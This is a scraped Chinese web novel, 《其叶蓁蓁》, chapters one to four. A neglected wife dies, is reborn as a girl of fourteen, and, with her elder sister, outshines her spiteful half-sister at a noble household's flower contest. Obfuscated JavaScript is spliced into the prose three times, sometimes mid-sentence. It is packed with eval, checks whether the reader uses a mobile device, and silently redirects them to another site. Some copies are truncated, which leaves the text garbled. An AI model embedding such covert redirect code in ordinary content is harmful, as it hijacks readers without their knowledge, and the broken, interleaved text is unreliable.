《其叶蓁蓁》 1. 一 月色透过窗户洒进屋内,照到倚坐在床边的女子,她五官极为精致秀美,但神情憔悴,透着一股病态。瞧着约莫二十五六的年纪,眼神却很疲惫沧桑,仿佛蒙上了一层尘埃。 烛光晃了一下,她的身影也随之一晃。 偌大的房里没有什么摆设、物件,显得十分冷清,唯她身下那张黄花梨木做成的千工拔步床名贵非凡。 “姑娘…”跪在她身前的丫鬟已是泪流满面,“云枝这就去叫姑爷过来!” 瘦弱单薄的年轻女子却苦笑一声,道:“不必了,何必徒增事端。” 她要死了。 不仅是床边的丫鬟,她自己也很清楚这个事实。 这病来的不突然,虽一开始只是寻常风寒,但一直不见好,又没有进补填补身体的虚空,再加上心中郁结,拖着拖着,如今已是油尽灯枯。 她原是当朝丞相府陆家之嫡女陆以蓁,嫁与许家为妻已有十载,许家儿郎官至礼部尚书,她本应风光无限,然夫君并不喜她,也甚少碰她,后又娶她继母所出嫡妹为平妻,两人情投意合,夫家对她置若未闻,她的处境便更加差些罢了。 “云枝,”这是她自小边跟在身边的丫鬟,她当然要为她身后事所考虑,“柜中留了我好些嫁妆,待我死后,你便拿着出府去吧,嫁个良人,好好生活。” 云枝哭得接不上气,“姑娘,您不会死的,别这么说。” “傻丫头,人固有一死,生老病死,总要面对的。”陆以蓁反而轻轻笑了,她那张脸蛋因为这点笑容,总算是多了点颜色。 夜色渐深,晚春的风已消去凉意,带着点初夏的热气,窗外的桃花凋谢,留着孤零零的桃枝,平添了几分凄凉之意。 陆以蓁已经没有什么牵挂,最疼她的祖母早已过世,外祖母秦老太太也在两年前离世。说到真有什么放不下,她目光落在了手中的银镶金嵌宝石翠花簪上,眸间闪烁起点点泪光。 “我想簪上这根簪子。”陆以蓁道。 云枝踉跄着起了身,脸上还挂着泪水,连忙去把她扶起来,坐到了铜镜旁。 桃之夭夭,其叶蓁蓁。她家小姐生得花容月貌,却抵不过病痛折磨,如今二十有六便要香消玉殒。 小姐的一生,过得太苦太苦了… 替陆以蓁梳好头,簪上发簪,云枝已经哭花双眼,泪眼模糊间看到小姐似是解脱般笑了笑,如同昙花一现,紧接着她的身子就慢慢倒下了。 “姑娘!”云枝大叫一声,却是怎么也得不到回答了。 冷清的房中只留下痛哭声。 书桌上留下了一幅字帖,一手簪花小楷写得极好,如陆以蓁此人一般秀美端庄。 锦瑟无端五十弦,一弦一柱思华年 庄生晓梦迷蝴蝶,望帝春心托杜鹃 只写到前四句便没有了下文。许翊然,正是陆以蓁夫君,拿着这份字帖后,沉默半响,终是叹气道:“她嫁我十年,虽感情不睦,但也安分守己,按照夫人的礼制好好办她的丧事。” 终了,陆以蓁此生,只得了轻如鸿毛般的一句“安分守己”。 刺眼的阳光照进屋内,陆以蓁以手遮目,缓缓睁开了眼睛。这是她年少时住的闺房,架子床上软烟罗纱幔低垂,锦被绣衾,帐前挂着如意纹香囊,散发出淡淡幽香。 待她逐渐看清眼前事物,愣怔了许久,才艰难开口唤:“云枝。” 云枝立马推门而入,她此时还是一身小丫鬟打扮,着青色对襟,梳一双角髻,笑容还带着些童真,“姑娘,您可醒了,今日您可睡得太久了,老夫人都催人来问了。” 此情此景,恍若隔世,令她一阵恍惚。 陆以蓁年少时晨昏定省从不怠懒,今儿倒是头一回,睡到日上三竿还未起。 眼看着云枝给自己梳妆打扮,陆以蓁还没有回过神来。 屋内的陈设,眼前的一切,皆是她未嫁时在陆府的模样。待她坐到铜镜前,看到那张年少稚嫩的脸庞,此时五官还未长开,但已看得出清丽脱俗。她头上梳垂鬟分肖髻,戴一对白色珠花;着月白色长裙,只边角有银线云绣,十分素雅。 似乎觉得有些荒唐,陆以蓁试探问:“如今我是何年岁?” 云枝笑着回:“姑娘怕不是睡糊涂了,来年您就要及笄了,这不,老夫人请了庆国公夫人来给府上,想让她给您相看亲事呢。” 陆以蓁死死握住了手心,还未缓过神来。 良久,她只遣了云枝去向老夫人告假,说她身体不适,故今日免了请安。 脑子里像是走马灯一样闪过许多画面。 她原该悄无声息地死在那个宅院,谁曾料想一醒来竟回到了十二年前,她还是陆家二小姐的时候。 像是大梦一场,有些分不清现实与否。 陆以蓁早年丧母,自小在老夫人膝下长大。上头有一个庶姐,底下一个庶弟,都养在魏姨娘身边。 母亲死后不到一年,继母于氏入府。 此事是个丑闻。陆以蓁的母亲秦氏是在她六岁时病逝的,而父亲迎娶的继室却带着四岁的女儿入府……当年父亲已官至丞相,继母又家世显赫,想是强压下了此事,止住了流言。 六岁以前的事她记不太清了,只记得因为此事,陆府和秦府,也就是母亲本家,闹得很僵,两家自此后亦不再交集,只有秦老太太会不时来府上看她。 她十四岁这年,祖母为她定下了许家亲事,待她嫁进去后便撒手人寰。 陆以蓁嫁入许府后两年,继母生下嫡子。陆家嫡次女陆以菁嫁入许家,是为平妻。 她与父亲的父女之情实在淡薄,是以,十年间再没有回过陆府。 思绪间,脑海中骤然浮现出一个身影,连面容都有些淡了,但那片白色衣诀记忆犹新。她总是看着那人的背影,梦中亦然。 那个人,没有一次为她驻足停留过。 心中酸涩,陆以蓁反而有了几分清明。 寥寥一生,终了怕也无人惦念。陆以蓁觉得舌尖有些发苦,心中不免悲凉。 老天爷可怜她,给了她重活一世的机会。那这一生她不想再默默无闻地活了。 世人皆知陆府二女,庶长女陆灼瑶、嫡次女陆以菁,不闻陆以蓁。便也觉得她不配嫡女高位,不配显贵夫家。她从来不争不抢,更是鲜少露面,想想也不必计较他人言语。 从小失去母亲,祖母养育她,教她知书达理,稳重端庄,她便照做,喜欢什么不喜欢什么都不甚重要,只要循规蹈矩便是对的。 女子当养在深闺,恪守女戒。 真是如此吗?流言刺耳,心事难明。她记得临死前心头的挣扎,如果能重来一次,她想活得肆意些,不想再把自己困在深宅大院里孤寂一生。 她想如庶姐陆灼瑶一般,光彩夺目,或如陆以菁也好,虽有些刁蛮,但也明媚活泼。不像她,死气沉沉,毫无生趣。 云枝向老夫人告假回来了,身边还跟着院里的三两个丫头,云枝和雪枝走在前头,“二姑娘。” 松枝、兰枝进屋后也向她行礼,随后就开始收拾屋子。 雪枝在她身前站定,小声道:“姑娘,奴婢同松枝去向老太太告假的时候,看到国公夫人身边还有个夫人,瞧着眼生,多半是来相看咱们府的姑娘的。” “就你话多,”云枝立马接话,也不甘示弱地说起了老夫人那边的事,“大姑娘和三姑娘都在老夫人屋里,说起来真是不巧,偏偏今儿您不在!” 看着她们俩,陆以蓁失笑,却也没说什么。 这四个丫头都是一直在身边伺候的,松枝兰枝是母亲留在她身边的,向来循规蹈矩不苟言笑。而雪枝和云枝是祖母安排的,与她更为亲近。她出嫁后将松枝兰枝许了人家,带了雪枝和云枝去许家,后来雪枝也被她许了户踏实人家,倒是许久未见了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14243908|151481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 雪枝一向伶俐,云枝则直率,她们俩都是好的。 陆以蓁想到这,问:“可知那夫人是哪家的?” 雪枝答:“听言语间,应该是儿子刚中举人的许家夫人。” 许家… 陆以蓁一惊,原本应该年末许家才上门来,怎的今世如此早。 说到许翊然,确实是个不可多得的人才,十七岁秋闱中举,次年中探花,任职礼部,从此平步青云。其人也是一表人才,俊朗儒雅。 但与她之间,可以说是毫无情意。自成亲后一月起两人就分院别住,再无同房。 她其实不想嫁他,但祖母觉得合适,她就嫁了。 哪想蹉跎年华,连相敬如宾也做不到。 这两日陆以蓁待在房里,想了很多事情。 三日后,她丑时便起身梳妆,用过早膳后,前去老夫人所在的宝华苑。 祖母喜静,住陆府北面四进的院落,祖母通常在后院歇息,陆以蓁走到正堂时,陆老太太已经端坐在上了。 看到高坐满头白发,面容慈祥的老人,她眼眶有些湿润,“祖母安好。” 阔别十年,再见祖母,陆以蓁身子都在发颤。 陆老太太看到孙女,慈爱回应:“蓁儿,快起来,到祖母这儿来。” “昨日怎的,是哪里不适?叫府医来看了吗?”陆老太太见她脸色有些苍白,眼眶还微红着,眼神十分关切。 陆以蓁忙收敛情绪,“祖母不用担心,孙女无事。”说着走到陆老太太身边,由她牵着坐下。 老太太又关心了她几句,身边的郑妈妈奉了茶来,陆以蓁微笑接过,又听祖母说,“昨日庆国公夫人与许翰林家的夫人来过了,你可知为何?” 闻言陆以蓁心下微叹,还真是为她亲事来的。面上却说:“孙女不知。” “蓁姐儿大了,我也得为你的终身大事想想了。” 老太太说完,见孙女神色间并无变化。虽然蓁姐儿一直乖巧稳重,到底还是小姑娘,总该有些羞赧。但见她神色自若,老太太倒觉得孙女身上有些说不出来的变化。 听陆以蓁道:“孙女还小,想在祖母身边多待几年,不着急嫁人呢。” 老太太难得听她撒娇,笑着跟郑妈妈打趣,“瞧我们蓁姐儿这孩子话,是舍不得我这老太婆了。” 郑妈妈马上接道:“老太太疼二姑娘,二姑娘自然是极孝顺老太太的。” “再舍不得祖母,女孩家也总是要嫁人的。”老夫人语重心长道,“许家哥儿一表人才,是个不错的,你不妨见见看。” 陆以蓁不禁苦笑,心下想,许家哥儿什么都好,就是不喜欢她罢了。只能说齐大非偶,所托非人。 这世说什么她也不嫁他了。此时她不好驳了祖母好意,含糊道:“若是有缘相见,那便再说罢。” 祖孙俩轻松打趣,宝华堂欢声一片。见孙女比平日话多了些,老太太也高兴。 蓁姐儿虽乖巧,但却文静太过,很少说笑的。自小养在她身边,本是想教导她端庄大方,不想稳重太过。今儿个倒是看着活泼许多,才有个女孩该有的样子。 “昨儿个瑶姐儿来我这里请安,说是永安王妃要办观花宴,邀请京中女眷过府观花。祖母知道,你原是不喜出门的,但总闷在家里也不是个事儿,出门去结识些朋友总是好的,祖母就替你应下了。” 是了,前世陆以蓁从不参加聚会,闲暇时只陪祖母说说话,或是读书练字,为得就是“娴静”二字虚名。 真真应了那句“养在深闺人未识”。 纵然无人知晓,她仍然恪守此道。 前世流言纷纷,她也习惯了。后来也想过,她虽然不如大姐般惊才绝艳,但怎么也称得上有才学好性情的,怎的就名声不好了。 既重活过,不如去凑个热闹,探探究竟。 “祖母都吩咐了,孙女自然遵从。” 2. 二 花宴当日。 花宴当日。 陆家继夫人于氏带着陆以菁、陆灼瑶两辆马车先行,陆以蓁独自坐在后面的软轿中。 这是她第一次出门。 说来好笑,见书中多言贵女不出阁,她便从来不出门,如今有机会出来,见繁华京城,颇有些新奇。 雪枝坐在她身旁,难得在自家姑娘脸上见到如此生动的神情,衬得姑娘容色更甚。 “咱们姑娘生得这般俊,在家中光让我们几个小丫头看了,今儿个也要让他人瞧瞧。”云枝看上去很是高兴,笑眯眯地盯着陆以蓁。 陆以蓁不禁失笑,怪不得梳妆时这丫头磨蹭好久,非得给她盛妆打扮好一番,“你呀。”说着用手轻轻刮了下小丫头的鼻头。 谈笑间,永安王府到了,前面马车的陆夫人和两位小姐下车,永安王妃上前相迎,“好妹妹,许久未见了。” 几人给王妃见礼,于氏恭维说:“王妃娘娘亲自来接,实在是抬举妾身了。” “姨母,菁儿想您了!”倒是陆以菁忙拉着永安王妃的手,亲昵道。 永安王妃笑容更甚,摸摸她的头,“还是菁儿乖巧,瞧你母亲,跟我还见外。”永安王妃与于氏都出自太傅府,二人是同母姊妹,关系要好,该是亲近的。 一旁的陆灼瑶安静站着,脸上挂着笑,永安王妃对她印象不错,也招呼道:“大姑娘也来了,真是出落地越发标志了,这模样,看得人心里欢喜。” 这话是没错的,陆灼瑶一袭青紫如意云烟裙,梳单螺髻,只海棠珠花点缀,却掩不住她明艳过人的美貌,肤白莹润的脸上一双眼眸极为动人,纤眉朱唇,美艳绝伦。 这容貌见一眼便叫人挪不开眼,偏得这美人性情也好,落落大方地福道:“多谢王妃娘娘夸奖。” 几人说话间,陆以蓁的马车稳稳停住,雪枝云枝搀着她从马车走下。 待她走近,端端欠身一礼,“王妃娘娘安好。” “倒是头一次见。”王妃看向于氏。 看到王妃疑惑的眼神,于氏解释道:“王妃娘娘怕是还没见过蓁姐儿,这是陆府二姑娘陆以蓁,平日里不大出门的,是以娘娘眼生。”说这话时于氏不自觉语气里带了些轻视。 她是不喜陆以蓁,只是陆以蓁一向深居简出,又在老太太膝下。既然没有碍着菁姐儿的路,所以没有多费心去管她。 一听自己妹妹的话,永安王妃便知了,见陆以蓁向自己行过礼,也未多说什么,拉着于氏和陆以菁先入府了。 倒是陆灼瑶脚步放慢了些,和陆以蓁同行,“二妹,我可是好些日子没见到你了。” 陆灼瑶一向待她很好的,哪怕二人都已嫁作人妇,她也时常送东西来许家探望。 陆灼瑶才貌双全名动京城,心善貌美,很难不让人喜欢。她也从不乏追求者,求娶之人足以踏破陆府门槛,但她是一个也没看上。 该说不愧是姐妹吗,其实长姐也曾爱慕过她心中的那个人。 后来她才知道,长姐比她更早与他相识,也大方地表达过自己的爱意。虽然听说那时被对方婉拒了,但长姐也是洒脱,消沉过一段时日后就放下了,另遇良人成就了一段佳话。 前世陆以蓁一直很羡慕她,知道此事后心里更加自卑。 连这般好的长姐都被拒绝了,她更不敢表露出一点心意了。 那这辈子呢,如果遇见他…… 思绪飘远了,陆以蓁良久才答道:“是妹妹的不是,应该到长姐那里多走动的。” “这就对了,老是待在你那个院子里作甚,多出来走动走动,”长姐明媚笑道,“今儿有不少京中闺秀,长姐且带你去认识一番,多交几个小姐妹,闲时也有个人作伴。” 陆以蓁笑着点点头。 “娘,”陆以菁拉着于氏不满道,“她怎么出来了?” 永安王府还有众多贵眷,王妃忙着去布置招待,于氏带着女儿找了处没人的地儿坐下,“你祖母召我过去好生吩咐的,让她出来见见世面,我哪里好拒绝。” 陆以菁更不高兴了:“祖母总是偏心她。” 闻言于氏宠爱一笑,“她养在你祖母跟前,你祖母自是偏疼她一些的。可是菁儿,她是个没娘养的,你父亲也不喜她。你祖母再疼她,她也是不及你的。眼看如今都快要及笄了,你见哪个世家大族去提亲了?不用在意她。” 陆以菁年纪还小,母亲三言两语就把她劝好了,又听母亲说,“反而是魏姨娘那个狐媚子生的东西,上次借着家宴大出风头,你今儿个可不能被她比下去了!” “放心吧母亲,她再怎么出众不过是个庶女罢了!上不得台面的。”陆以菁颇有些娇纵地说,“而且今天是姨母设宴,更不会让她得意了去!” 王府偏厅。 “王妃娘娘安。”众人见礼。 主位上的永安王妃雍容华贵,笑容满面,抬手示意,“今日本宫邀大家共赏百花,承蒙诸位夫人赏脸前来,都不必拘谨,请入座吧。” 宴席的茶水糕点随着侍女端上,种类繁多,花样层出不穷。 “这鲜花饼倒是味道鲜美,模样也精致。”陆灼瑶尝了一口便说,“二妹妹,你也尝尝。” 陆以蓁甚少食甜,但不好拂了她的好意,小小地咬了一口,“确实不错。” 用过茶点后,诸家小姐跟着王妃往别院行去。 庭院观花。 沿着主楼行至尽头,走在石子甬路上,花香扑鼻而来,已是阳春三月,春暖花开之际,正是百花齐放,争相斗艳之时。再往前走,望向绿柳垂下,一旁鸟雀和鸣,尽显生机盎然。 不知怎的,陆以蓁想到前世她去的那一日,枯木朽株,实在凄凉。 陆灼瑶见她神色不对,关心道:“二妹妹怎的,何事惹你伤心了?” 望到她关切目光,陆以蓁心想,大姐姐敏锐,不好叫她看出端倪,于是浅笑解释,“无事,只是突然记起些往事罢了。” “哦,”陆灼瑶颇有兴趣,“什么事让你顷刻间变了颜色,我倒想听听了。” 话还未讲完,那头争春赛要开了。 “争春赛一年一次,也是各家小姐为自己博得佳名的好机会,我自然是不会错过的,”陆灼瑶坦言说着,“二妹妹极少出门,要知道名声在外四个字。有个好名声固然重要,这次便是个绝佳的机会,不如二妹妹同我一齐去。” 陆以蓁还没答话就被她拉着朝人群中走去。 果然年轻贵女们都聚在了一处,准备参加这场赛事。 远远望着陆灼瑶和陆以蓁也要来凑热闹,陆以菁冷哼一声,“也不看看自己什么东西,也好出来丢人现脸。” 与她交好的几名贵女听她言语,便说:“那便是你家中嫡姐?” “听闻她相貌平平,怎的…”户部侍郎家的马三小姐还未说完就被身边人打断。 太常寺卿家嫡女罗瑞雪朝她使了个眼色,有些奉承道:“是了,这般姿色平平,一看便如传闻般蠢笨,自然是及不上陆三小姐的。” 陆以菁颇为骄傲地扬了扬下巴,“那是自然。” 前几日许家夫人来府上,她才知道祖母要给陆以蓁议亲了!也对,如果不是祖母,恐怕没有人愿意求娶陆以蓁这样的女子。 但许家哥儿,陆以菁是见过的,长得好,家世好,年纪轻轻就中了举,日后必有一番大作为,这般好的男子,竟要相给陆以蓁!想想她就觉得不忿。 她自小就讨厌陆以蓁,她母亲出身世家望族,与父亲情投意合,却因为陆以蓁的娘,没有名分,不得不独自生下她,后又作续弦入门。她身份尊贵,却要作陆家嫡次女!虽然都是嫡女,但总要分长次,祖母什么事都以陆以蓁为先,哪怕父亲母亲再宠爱她,也不好越过祖母。平时府里有什么好物什,祖母总是先送到陆以蓁院里让她挑,凭什么她就得要她剩下的东西!陆以蓁也配! 如果没有陆以蓁,她就是陆家唯一的嫡女! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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眼见永安王妃挽着于氏,身后跟了不少仆从过来,几人这才语罢,等着永安王妃发话。 “这些个姑娘们可是卯足了劲儿参加这次赛事,就等娘娘您发话了。”大理寺卿家吴夫人率先出声。 永安王妃在仆从的搀扶下落座,“这便开始吧,这次争春赛,既然名为争春,那自然以春为题,诸位有什么才艺尽可展示出来,就由本宫和郭夫人、李夫人作为评判,拔得头筹者,这套金质累丝嵌宝头面便赠予你了。” 一套十九件的头面被王府侍从端了出来,上面镶嵌着红、白碧玺等宝石,做工细致,少说得要上千两银子,确实是大手笔。 众女显然有些兴奋,不少贵女已经上前,或是弹琴颂曲或是吟诗作画,真真一幅百花齐放的盛景。 庭院外便是王府碧云亭,王府世子正与友人在此议事,琴声吟唱声传来,好不热闹。 永安世子不由笑道:“今日母亲设宴,想来争春赛开了,不如我们去凑个热闹。”说着他已起身。 见他起身,其中一位着青色锦衣的男子随之,“今日也是赶巧了,还能亲见这等好事。” “季世子怕是急着去看陆家姑娘的吧。”有几人立马调侃。 听到陆家二字,端坐的少年微微挑眉,只见他眉目清俊,一身松蓝镶金边长袍,很是儒雅,正是许翊然。 “自然是要去看看陆大姑娘。”季风仰慕陆灼瑶已久,众人皆知,他也坦然回道,又看向许翊然,“许夫人不是正有意跟陆家结亲吗,不知翊然兄相的是哪位姑娘?” 他倒是借此机会问了出来,许翊然却不好回答,只笑答:“总之不是你中意的大姑娘就是了。” 季风心下一松,只要不是陆灼瑶,那便无事了。不过转念一想,陆府三位姑娘,陆大姑娘惊才绝艳,陆三姑娘尊贵娇美。不是陆大姑娘,莫非是三姑娘,总不能是那个无才无貌寡淡至极的陆二姑娘吧。 众人不禁想,都看向了许翊然。 他神情不变,从容笑了笑,纵使心下有些不快,却也没有在面上显露,“那便去看看吧。” 说着几人向庭院走去。 3. 三 一场争春赛,看得人眼花缭乱,陆以蓁坐在陆灼瑶左侧,苏青禾坐在陆灼瑶右侧。 “小家子气得很。”苏青禾努努嘴,小声吐槽。 三人坐的近,她的话落到陆以蓁耳中,顺着目光抬头看了看。 有些眼熟,像是跟陆以菁一块的。 罗瑞雪一手琵琶弹得很不错,技艺精妙,一曲阳春白雪指法娴熟,但可能有些紧张,整个人紧绷着,缺了些轻快活泼。 但说小家子气也过了些,应该是与她不对付。 果然又听苏青禾说:“跟你比差远了,跟你们那位三姑娘倒是臭味相投。” 长姐没有接话,陆以蓁却起了好奇心。 陆灼瑶为人周到、与人和善,与继母三妹相处也并无不睦。但长姐默许了苏青禾的话,难不成她其实她也不喜陆以菁? 她当然不会傻愣愣地去问,权当没听过这些话算了。 那头罗家小姐一曲罢,把琵琶递给身边的丫鬟,向王妃福了福,没有坐回陆以菁旁,反之,朝她们这边走了过来。 不会耳朵这么灵吧。陆以蓁心下想。 那边直直朝她过来了,虽脸上带笑,但总有些不怀好意。 “听闻陆家三位小姐才学出众,不知今日是否有幸见到陆二小姐展露风姿。”话说得好听,语气却是嘲弄的。 自己好像并未招惹她吧。 陆以蓁还没开口,陆以菁也过来了,冷冷笑了一声,“二姐惯不喜欢出风头的,哪里会搭理你。”转而也不等陆以蓁说什么,径直走到展台中间,命人摆上了笔墨纸砚。 “拽什么啊,”苏青禾嘟囔着,“上头两个姐姐还在呢,不讲礼数!” 她原也是不拘礼的姑娘,但比起陆以菁,还是好得多,拿这话说,倒也不错。 陆以菁是对自己很不客气的,在陆府是,许府亦是。陆以蓁不与她计较,毕竟是姊妹,只当她是父母溺爱,娇纵惯了的孩子。 旁边还站着一个罗春雪,苏青禾当然没有好脸色,只背过身去,懒得看了。 这一转身就见几个男子过来,她都是认得的,忙拉了下陆灼瑶,“那个狗皮膏药来了!” 果然,陆灼瑶一侧身,就看到季风等人,季风满面笑意,对她微微颔首,她回之一礼便不再看了。 男子入席,自然不合规矩。好些望见的姑娘用团扇掩面,羞赧地偷偷议论。 正在作画的陆以菁听到身边议论,也抬头一看。正好看到那俊逸倜傥的许翊然,四目相对,她迅速埋下了头,一抹绯红浮上脸颊。 世子几人止住脚步,派小厮过来通传。永安王妃一听他们来意,便笑骂自己儿子,“这几个浪荡子!” 说着还是让人抬了扇屏风来将两方隔开,并赐了座。 不多时,陆以菁的画画好了。 好一幅垂柳飞絮图,画的是杨柳依依,袅袅生姿,柳絮似雪飞舞。这画是极好的。 侍女将图展示给众人,无一不夸赞,就连陆灼瑶也点头赞了一句,“三妹妹的画果真绝妙。” 王妃见了更欢喜,“本宫知菁姐儿善丹青,却不想如此妙哉,颇有大家风范。” 于氏更是喜笑颜开,“王妃娘娘谬赞。” 这画也被拿到了男宾处赏析,亦是夸赞连连。 世子言:“菁表妹在丹青上的造诣着实惊人,可以说是天赋异禀了。” 其他几位公子随声附和,只有许翊然未发一语。 许家乃书香世家,他外祖父是闻名天下的丹青大家。这画是不错,但在他眼里却也不至于如此吹捧。 一番赞赏后,陆以菁扬了扬下巴,有些挑衅地朝陆以蓁这边看过来。 陆以蓁忍不住想笑,她这三妹妹真是一如既往地喜怒形于色,一派孩子心性。 这边罗瑞雪见她发笑,转头就去跟陆以菁小声说了几句。她话音刚落,就见陆以菁眼中怒意满满,气势汹汹地又过来了。 “陆以蓁你瞧不起谁呢!我的丹青可是父亲亲授,有你评头论足的地方!”她面色不虞,说话十分不客气。 也不知那罗家小姐与她说了些什么,想想应是些挑拨离间的话。陆以蓁并不想多解释,但就此把她晾在一边也是不行,正要开口解释,便见长姐挡在了她身前。 “三妹妹,你我三人可是亲姊妹,没得道理要听别人胡诌。”陆灼瑶面上笑着,眼里却无笑意,“咱们三人可都是陆府的姑娘,别让别人看了笑话去。” 她们说话声音不小,周遭可都看着呢。 “谁敢看我的笑话!”偏陆以菁就是想下她的面子,嘲讽道,“若是鱼目妄想混作珍珠,那也是决计不行的。若是二姐没什么拿得出手的,还是待在家中好,省的出来丢陆府的脸面。” 陆灼瑶脸上笑容逐渐消失,看上去有些生气,“既三妹妹非要看蓁姐儿露一手,那二妹妹不如如她所愿。” 京中传言,陆以蓁大门不出二门不迈,是因为其貌不扬,更因她才疏学浅、蠢笨不堪。但陆灼瑶心如明镜,她们家二妹妹是祖母悉心调教出来的,容貌性情一等一的好,外头传言多半是陆以菁与她那些跟班有意为之。 陆灼瑶有心肃清谣言,让陆以蓁正名。但以往凭她一人,总是人微言轻。今日借此机会,不如让大家眼见为实。 先夫人秦氏在时,待她和姨娘和善,老太太也对自己很好,她万不能让她们心头疼爱的二妹妹如此这般受人非议。 从前二妹妹不愿露头,但如今,陆灼瑶能察觉到,她肯迈出一步了。 “二妹妹,你别怕,”陆灼瑶柔和地看向她,“长姐知道你是个好姑娘,也知你不想平添事端,但人言可畏,你也到了该说亲的年纪了,为自己将来想想,有时候争一争,抢一抢,也是好事。” 陆以蓁怔了会,猛然想起前世收到的一封匿名信,只留了一句——莫等闲,白了少年头,空悲切。 四艺,琴棋书画也。 陆以蓁神情自若,轻轻喃道:“衣沾不足惜,但使愿无违。” 听得人一头雾水。 这时,雪枝云枝取了古琴与纸墨笔砚来,陆以蓁朝众人一福身,“小女陆以蓁,献丑了。” 人在琴边坐定,玉指轻拨琴弦,琴声如潺潺流水般,起承转合。 她弹的也是阳春白雪。 琴音先是凛然清洁,犹如雪竹琳琅之音,忽然间万物复苏般轻快起来,恰如“大珠小珠落玉盘”,充满了活力。那般静的一个人,一下子就灵动明快了起来,她似是释然般露出了笑容,容色显得更为俏丽,让人挪不开眼。 一曲罢,琴音似乎还在耳边回荡。 陆以蓁已经起身,众女还未回过神来,只有长姐对她颇为欣慰地颔首。 有几人脸色不太好看,其中陆以菁最甚。 但不待众人反应,陆以蓁走到一旁,提笔、落墨,她实在太过专注,让人不忍打扰。 不到半柱香的时间,一副枯木逢春图已然完成,旁边是劲瘦有力的瘦金体题字。 沉舟侧畔千帆过,病树前头万木春。 早已凋谢的桃枝孤零零地支在窗前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14243910|151481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而枝头却似有桃花逐渐盛开,再往后满树繁花挤满枝桠。这幅画颇具动态,像是活过来般,果真映了那句病树前头万木春。 更不用说那句题字,这手字着实令人惊叹。懂行之人便知,没有二十几年的笔力,写不出这样的字。可这陆二小姐不过十四! 这陆家姑娘,果然不同凡响! 屏风那头看过画,不由噤了声,许久才有人说了句,“这个陆二小姐,不会是我知晓的那个陆以蓁吧。” 透过屏风,能隐约看到那抹身影,身姿优雅而挺拔,绝不是传言所说之流。 永安世子想到表妹,没有开口。 倒是季风一直关注陆灼瑶那边,也依稀听到了她对这个妹妹的维护,便不自觉为她说话,“这陆二姑娘真是不鸣则已,一鸣惊人!不愧是陆家出来的姑娘!” “刚刚不见你夸陆三姑娘。”几人又开始调侃起他,气氛又热络起来。 许翊然细细看了这副枯木逢春图,眼中有惊讶有赞赏,也不免多了几分探究。 于氏心中恼怒异常。 这陆二不显山不露水的,让她觉得不会碍着菁姐儿,这才放松了警惕。哪像那个老太婆竟把她教养地如此这般!一个陆灼瑶还不够,还要来个陆以蓁。于氏实在气急。 陆以菁更不用说了,她的言行被众人看在眼里,此时高下立见,众人的目光像是在狠狠扇她的耳光,羞愧地说不出话来。 她堂堂陆府三小姐!从未如此丢脸过。 陆以菁眼里有恨意,擒着泪死死握紧了手,指甲陷进肉里都未发觉。她扭头就走,于氏不好离开,看向罗瑞雪,后者会意,快步跟了上去。 见如此场面,王妃发话了,“本宫听闻陆家大姑娘已是格外出众,不想这二姑娘也是个妙人。本宫倒是有些好奇了,你姐妹二人谁更胜一筹。” 她一句话便让众人止了议论,将话头引到了陆灼瑶身上。 陆灼瑶大方回道:“都是自家姐妹,谈不上高下。二妹妹才情出众,但臣女对自己也是信心十足。诸位也无需比较,臣女相信我二人各有千秋。” 说着见她欠身,“请容臣女去换身衣裳。” 陆灼瑶换了身水红色轻衫罗裙,长袖翩翩,更衬得她身姿曼妙,纤腰不及一握。她肌肤胜雪,朱唇似血,柳叶眉秋水睑,美得明媚张扬,令百花失去颜色。 高台上放了一张雕龙大鼓,陆灼瑶脚步轻抬,身体微动,轻盈飘逸地落到鼓上。鼓点随着她的动作落下,带着磅礴之意。 飘散开的水袖如同薄雾,她整个人蝴蝶一般地飞舞着,翩若惊鸿,宛若游龙。陆灼瑶这舞比起柔媚,更多的是一种坚韧,柔中带刚,气势宏伟,仿佛千军万马尽在眼前。 太令人震撼了,久久回不过神来。 一曲鼓上舞,名动遍京城。 萤火之光岂能与皓月争辉! 陆以蓁望向高台上耀眼夺目的长姐,眼中也闪着光芒,这就是她所羡慕的模样。 一舞罢,王府众人心事各异。 只苏青禾和陆以蓁上前,苏青禾激动拉住长姐,眼睛亮亮的,“阿瑶!我这辈子都没见过这样美的舞,实在是太…太…” 她想了半晌都不知用什么言语形容,陆以蓁接道,“精妙绝伦。” “对对!”苏青禾喜滋滋地一拍手。 陆灼瑶莞尔一笑。 最终这场争春赛,还是陆灼瑶拔得头筹。 得的那套华贵头面是小,更重要的是此后,声名远扬。 陆家有女,举世无双。 4. 四 宴席散场,陆灼瑶不知被哪家夫人拉去叙话。 云枝过来禀报:“二姑娘,夫人传话说,让您先行回府,她与三姑娘还要在王府多待些时日。” 陆以蓁点头,又差雪枝去向长姐知会,带着云枝准备离府。 经过纵横交错的亭台楼阁,行至回廊,见两位少年郎迎面而来。 正是季风、许翊然二人。 陆以蓁低着头侧身相让,那青衣公子却朝她走近,十分不拘礼地打量她一番,“这便是陆二姑娘了?” 陆以蓁微微俯身,答:“正是,小女陆以蓁。” “我乃柱国公世子季风,陆二妹妹,幸会幸会。”季风笑眯眯说着,又把好友拉过,一并介绍道,“这是翰林掌院许家大公子许翊然。” 